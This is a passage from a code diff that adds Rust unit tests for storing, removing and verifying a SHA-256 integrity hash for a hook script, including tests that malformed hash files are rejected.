+ let temp = TempDir::new().unwrap();
446
+ let hook = temp.path().join("rtk-rewrite.sh");
447
+ fs::write(&hook, "test").unwrap();
448
+
449
+ store_hash(&hook).unwrap();
450
+ let hash_file = temp.path().join(".rtk-hook.sha256");
451
+ assert!(hash_file.exists());
452
+
453
+ let removed = remove_hash(&hook).unwrap();
454
+ assert!(removed);
455
+ assert!(!hash_file.exists());
456
+ }
457
+
458
+ #[test]
459
+ fn test_remove_hash_not_found() {
460
+ let temp = TempDir::new().unwrap();
461
+ let hook = temp.path().join("rtk-rewrite.sh");
462
+
463
+ let removed = remove_hash(&hook).unwrap();
464
+ assert!(!removed);
465
+ }
466
+
467
+ #[test]
468
+ fn test_invalid_hash_file_rejected() {
469
+ let temp = TempDir::new().unwrap();
470
+ let hook = temp.path().join("rtk-rewrite.sh");
471
+ let hash_file = temp.path().join(".rtk-hook.sha256");
472
+
473
+ fs::write(&hook, "test").unwrap();
474
+ fs::write(&hash_file, "not-a-valid-hash rtk-rewrite.sh\n").unwrap();
475
+
476
+ let result = verify_hook_at(&hook);
477
+ assert!(result.is_err(), "Should reject invalid hash format");
478
+ }
479
+
480
+ #[test]
481
+ fn test_hash_only_no_filename_rejected() {
482
+ let temp = TempDir::new().unwrap();
483
+ let hook = temp.path().join("rtk-rewrite.sh");
484
+ let hash_file = temp.path().join(".rtk-hook.sha256");
485
+
486
+ fs::write(&hook, "test").unwrap();
487
+ // Hash with no two-space separator and filename
488
+ fs::write(
489
+ &hash_file,
490
+ "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2\n",
491
+ )
492
+ .unwrap();
493
+
494
+ let result = verify_hook_at(&hook);
495
+ assert!(
496
+ result.is_err(),
497
+ "Should reject hash-only format (no filename)"
498
+ );
499
+ }
500
+
501
+ #[test]
502
+ fn test_wrong_separator_rejected() {
503
+ let temp = TempDir::new().unwrap();
504
+ let hook = temp.path().join("rtk-rewrite.sh");
505
+ let hash_file = temp.path().join(".rtk-hook.sha256");
506
+
507
+ fs::write(&hook, "test").unwrap();
508
+ // Single space instead of two-space separator
509
+ fs::write(
510
+ &hash_file,
511
+ "a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4e5f6a1b2 rtk-rewrite.sh\n",
512
+ )
513
+ .unwrap();
514
+
515
+ let result = verify_hook_at(&hook);
516
+ assert!(result.is_err(), "Should reject single-space separator");
517
+ }
518
+
519
+ #[test]
520
+ fn test_hash_format_compatible_with_sha256sum() {
521
+ let temp = TempDir::new().unwrap();
522
+ let hook = temp.path().join("rtk-rewrite.sh");
523
+ fs::write(&hook, "#!/bin/bash\necho hello\n").unwrap();
524
+
525
+ store_hash(&hook).unwrap();
526
+
527
+ let hash_file = temp.path().join(".rtk-hook.sha256");
528
+ let content = fs::read_to_string(&hash_file).unwrap();
529
+
530
+ // Should be parseable by sha256sum -c
531
+ // Format: "<hash> <filename>\n"
532
+ let parts: Vec<&str> = content.trim().splitn(2, " ").collect();
533
+ assert_eq!(parts.len(), 2);
534
+ assert_eq!(parts[0].len(), 64);
535
+ assert_eq!(parts[1], "rtk-rewrite.sh");
536
+ }
537
+ }